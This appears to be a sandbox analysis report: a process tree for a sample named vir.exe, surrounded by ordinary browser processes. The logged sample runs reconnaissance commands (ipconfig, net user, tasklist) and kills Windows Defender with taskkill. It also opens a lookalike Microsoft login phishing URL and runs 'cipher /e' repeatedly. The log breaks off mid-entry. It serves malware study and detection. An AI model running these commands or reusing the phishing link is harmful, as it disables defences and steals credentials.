"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --mojo-platform-channel-handle=4872 --field-trial-handle=1828,i,13203538504144648895,9683611491832898835,131072 /prefetch:1
1⤵
PID:4128

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4344 --field-trial-handle=1828,i,13203538504144648895,9683611491832898835,131072 /prefetch:8
1⤵
PID:2336

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4620 --field-trial-handle=1828,i,13203538504144648895,9683611491832898835,131072 /prefetch:8
1⤵
- Modifies registry class
PID:2476

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2108
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Checks processor information in registry
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:408
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="408.0.664118240\1131907094" -parentBuildID 20230214051806 -prefsHandle 1752 -prefMapHandle 1732 -prefsLen 22074 -prefMapSize 235121 -appDir "C:\Program Files\Mozilla Firefox\browser" - {faee196c-8744-43b7-b707-1ce5c1c9d7f8} 408 "\\.\pipe\gecko-crash-server-pipe.408" 1832 238abe26b58 gpu
    3⤵
    PID:4536
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="408.1.1068301660\766338998" -parentBuildID 20230214051806 -prefsHandle 2332 -prefMapHandle 2328 -prefsLen 22110 -prefMapSize 235121 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d74f93d2-0e53-4e06-b6a1-acffeb3afb47} 408 "\\.\pipe\gecko-crash-server-pipe.408" 2360 2389f086058 socket
    3⤵
    - Checks processor information in registry
    PID:248
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="408.2.1799712792\461220923" -childID 1 -isForBrowser -prefsHandle 2964 -prefMapHandle 2960 -prefsLen 22148 -prefMapSize 235121 -jsInitHandle 1336 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {39d05c6f-dc89-4927-af8d-cb4a7eca363e} 408 "\\.\pipe\gecko-crash-server-pipe.408" 2808 238aec14c58 tab
    3⤵
    PID:1720
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="408.3.306011964\940600126" -childID 2 -isForBrowser -prefsHandle 3780 -prefMapHandle 3776 -prefsLen 27614 -prefMapSize 235121 -jsInitHandle 1336 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c0d282d0-7fdd-4ec9-823e-f48a4632d3ed} 408 "\\.\pipe\gecko-crash-server-pipe.408" 3792 2389f077e58 tab
    3⤵
    PID:4944
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="408.4.776512830\84720307" -childID 3 -isForBrowser -prefsHandle 5028 -prefMapHandle 5024 -prefsLen 27614 -prefMapSize 235121 -jsInitHandle 1336 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {48d4b0bb-d639-455d-b165-266a29cf525b} 408 "\\.\pipe\gecko-crash-server-pipe.408" 5032 238b3f5b858 tab
    3⤵
    PID:4548
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="408.5.1612235220\1480567564" -childID 4 -isForBrowser -prefsHandle 5260 -prefMapHandle 5256 -prefsLen 27614 -prefMapSize 235121 -jsInitHandle 1336 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c1dad66f-1916-4937-9cd3-802e3d6996bd} 408 "\\.\pipe\gecko-crash-server-pipe.408" 5268 238b3f5c158 tab
    3⤵
    PID:3728
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="408.6.490102376\1048635713" -childID 5 -isForBrowser -prefsHandle 5452 -prefMapHandle 5448 -prefsLen 27614 -prefMapSize 235121 -jsInitHandle 1336 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {83744b93-9057-45ac-850e-5c0438772f28} 408 "\\.\pipe\gecko-crash-server-pipe.408" 5460 238b3f5d958 tab
    3⤵
    PID:4516
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="408.7.1481561756\1772913811" -childID 6 -isForBrowser -prefsHandle 5872 -prefMapHandle 5868 -prefsLen 27695 -prefMapSize 235121 -jsInitHandle 1336 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b42c7d69-6d3d-45eb-80ad-d3aa510d982a} 408 "\\.\pipe\gecko-crash-server-pipe.408" 5884 238b5a22758 tab
    3⤵
    PID:3600
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="408.8.563076170\89117692" -childID 7 -isForBrowser -prefsHandle 6104 -prefMapHandle 6100 -prefsLen 27695 -prefMapSize 235121 -jsInitHandle 1336 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {649a6e46-0671-455c-b1e9-43caccadb24b} 408 "\\.\pipe\gecko-crash-server-pipe.408" 6112 238b5a22d58 tab
    3⤵
    PID:2480
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="408.9.1785140462\1230062841" -parentBuildID 20230214051806 -prefsHandle 1564 -prefMapHandle 2652 -prefsLen 27732 -prefMapSize 235121 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b5e5a01e-6ec5-4ce5-9993-7d455865a431} 408 "\\.\pipe\gecko-crash-server-pipe.408" 5832 238aad29a58 rdd
    3⤵
    PID:3000
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="408.10.1236506574\1668514672" -parentBuildID 20230214051806 -sandboxingKind 1 -prefsHandle 1624 -prefMapHandle 1620 -prefsLen 27732 -prefMapSize 235121 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {42fec480-d19d-46a6-9f48-c58c5c31d415} 408 "\\.\pipe\gecko-crash-server-pipe.408" 5872 238abe25c58 utility
    3⤵
    PID:1940

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3476
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffcac243cb8,0x7ffcac243cc8,0x7ffcac243cd8
  2⤵
  PID:1772
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1840,15720351588352045226,2074557229694162416,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1804 /prefetch:2
  2⤵
  PID:3536
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1840,15720351588352045226,2074557229694162416,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2304 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2116
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1840,15720351588352045226,2074557229694162416,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2548 /prefetch:8
  2⤵
  PID:4076
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1840,15720351588352045226,2074557229694162416,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3288 /prefetch:1
  2⤵
  PID:2752
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1840,15720351588352045226,2074557229694162416,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3304 /prefetch:1
  2⤵
  PID:4456
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1840,15720351588352045226,2074557229694162416,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4544 /prefetch:1
  2⤵
  PID:1816
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1840,15720351588352045226,2074557229694162416,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4672 /prefetch:1
  2⤵
  PID:2908
- C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1840,15720351588352045226,2074557229694162416,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3560 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:844
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1840,15720351588352045226,2074557229694162416,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5232 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3268
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1840,15720351588352045226,2074557229694162416,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5344 /prefetch:1
  2⤵
  PID:720
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1840,15720351588352045226,2074557229694162416,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5304 /prefetch:1
  2⤵
  PID:2416
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1840,15720351588352045226,2074557229694162416,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5664 /prefetch:1
  2⤵
  PID:2036
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1840,15720351588352045226,2074557229694162416,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5052 /prefetch:1
  2⤵
  PID:2980
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1840,15720351588352045226,2074557229694162416,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5656 /prefetch:1
  2⤵
  PID:3576
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1840,15720351588352045226,2074557229694162416,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5708 /prefetch:1
  2⤵
  PID:2548

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1028

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:956

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2500

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1472

C:\Users\Admin\Desktop\vir.exe
"C:\Users\Admin\Desktop\vir.exe"
1⤵
PID:4748
- C:\Users\Admin\AppData\Local\Temp\f1b9fb49-a77c-45cc-9a48-d6411d5f36cc\ProgressBarSplash.exe
  "C:\Users\Admin\AppData\Local\Temp\f1b9fb49-a77c-45cc-9a48-d6411d5f36cc\ProgressBarSplash.exe" -unpacking
  2⤵
  - Executes dropped EXE
  PID:2020
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\vir_a31cbce7-7704-4354-b64c-cb689ae38928\!main.cmd" "
  2⤵
  - Modifies registry class
  PID:5020
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K spread.cmd
    3⤵
    PID:4956
  - - C:\Windows\SysWOW64\xcopy.exe
      xcopy 1 C:\Users\Admin\Desktop
      4⤵
      Enumerates system info in registry
      PID:3192
  - - C:\Windows\SysWOW64\xcopy.exe
      xcopy 2 C:\Users\Admin\Desktop
      4⤵
      Enumerates system info in registry
      PID:4536
  - - C:\Windows\SysWOW64\xcopy.exe
      xcopy 3 C:\Users\Admin\
      4⤵
      Enumerates system info in registry
      PID:4848
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K doxx.cmd
    3⤵
    PID:4876
  - - C:\Windows\SysWOW64\ipconfig.exe
      ipconfig
      4⤵
      Gathers network information
      PID:1600
  - - C:\Windows\SysWOW64\net.exe
      net accounts
      4⤵
      PID:4620
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 accounts
        5⤵
        
        PID:432
  - - C:\Windows\SysWOW64\net.exe
      net user
      4⤵
      PID:2764
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user
        5⤵
        
        PID:2296
  - - C:\Windows\SysWOW64\tasklist.exe
      tasklist /apps /v /fo table
      4⤵
      Enumerates processes with tasklist
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1656
- - C:\Windows\SysWOW64\PING.EXE
    ping google.com -t -n 1 -s 4 -4
    3⤵
    - Runs ping.exe
    PID:1312
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im WindowsDefender.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1020
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K handler.cmd
    3⤵
    PID:4040
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://https-login--microsoftonline--com.httpsproxy.net/common/reprocess?ctx=rQQIARAAhZI7b9tmFED1sOUH2tpIi6IBOjhFh6IppU98SgYykCZDSRZJW3xY5CKQFCU-RVokRZFjl2RMlg4BshToYrRA0S5FG7SZPRhBhg7JP_AQFB0Kb42SzEaWi3twz3bP9iZeR9A6qIOvq3Ad7H-JEjiGopgBIbCJQ2jbAFALsXCoOW4jqxNM4KY-v7G9i-78f4He2iD_ePzfk3vPf5TPynt2kkTxfqORZVk9nEwc06qbYdDw9dnYmU0X8G_l8rNy-VFl3ZpBsnhWiXGkhcJNFGmBFsDaTQKH65zb8wRJbWoBk_Cul_M5AHwxsPvSNOfoaaIGXUyVGJSXNFujuaXA9hy1kFcOmXC02VRXPif5K98PBLabqK5XaPQxrAWaL9Ac9qKyI5BpYsNvRjh3CuvfytYknAejKIyTR9XvKoGro8xdDerJTJDKBVpkA3HQQxkptBTACrQWELhCGxZNePmSF8BEyn3F7rQ0KOCXrLqQj6kxnlMCCVEpaaUDKj_tKzOJ6BkeTSnDUetQtPsTxE1OTN1gjcg-POpSQ4ykAsZkMX45UsQCCU_5JZeTkD8vIN1dmrSWGJno6EfQMmMD21UOID81JddwLSocRJMoPvRswVPmTtA9WQCP46dSMHdka44OOUk7SY_jTFmQTCcba0LsQDMePZ0NxU6XUJnIwMBowJLNaS_MME4FqLhoH6Xs8YA2AacL_QwLs7PqzWveu4B_qdZWSxDOzqtEGFkzZ7wXzcOJ41vXJbGAG8Jb6oSBVSd9_9la-XLt083a7heflfZKX30CqvubK6q-oau18vfrq-Ie_nr558W3Nw9-euJ-_vCELZ2vN1zR6cSnlNVQ1Wnum32xKJZ3Va7X16c8OwAm65q9NB22iNvynfZ-80Gt_KBWO69tdekRz0j4CPxTq93fKP2-9d52X3zw8fZ26oz80NR9K77xruGnH5auPnr5198XPzy-_6pzufONeVuOnDFsZIJCTaX2kJOLlCQbrkCQzpF0wCBa4VHDIkTG8Z2fd0uvAQ2
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:3544
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ffcac243cb8,0x7ffcac243cc8,0x7ffcac243cd8
      4⤵
      PID:1940
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1912,818542273081130345,1751701187535033178,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1868 /prefetch:2
      4⤵
      PID:4292
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1912,818542273081130345,1751701187535033178,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2372 /prefetch:3
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4336
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1912,818542273081130345,1751701187535033178,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2564 /prefetch:8
      4⤵
      PID:3324
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,818542273081130345,1751701187535033178,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3344 /prefetch:1
      4⤵
      PID:2280
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,818542273081130345,1751701187535033178,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3368 /prefetch:1
      4⤵
      PID:4732
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,818542273081130345,1751701187535033178,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4880 /prefetch:1
      4⤵
      PID:5884
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1912,818542273081130345,1751701187535033178,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5572 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:872
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,818542273081130345,1751701187535033178,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5600 /prefetch:1
      4⤵
      PID:3556
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,818542273081130345,1751701187535033178,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5620 /prefetch:1
      4⤵
      PID:5456
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,818542273081130345,1751701187535033178,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4708 /prefetch:1
      4⤵
      PID:4112
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,818542273081130345,1751701187535033178,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5124 /prefetch:1
      4⤵
      PID:5168
  - - C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1912,818542273081130345,1751701187535033178,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5832 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4988
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,818542273081130345,1751701187535033178,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6136 /prefetch:1
      4⤵
      PID:8104
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,818542273081130345,1751701187535033178,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5824 /prefetch:1
      4⤵
      PID:7104
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,818542273081130345,1751701187535033178,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6220 /prefetch:1
      4⤵
      PID:8168
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K cipher.cmd
    3⤵
    PID:1820
  - - C:\Windows\SysWOW64\cipher.exe
      cipher /e
      4⤵
      PID:1000
  - - C:\Windows\SysWOW64\cipher.exe
      cipher /e
      4⤵
      PID:4848
  - - C:\Windows\SysWOW64\cipher.exe
      cipher /e
      4⤵
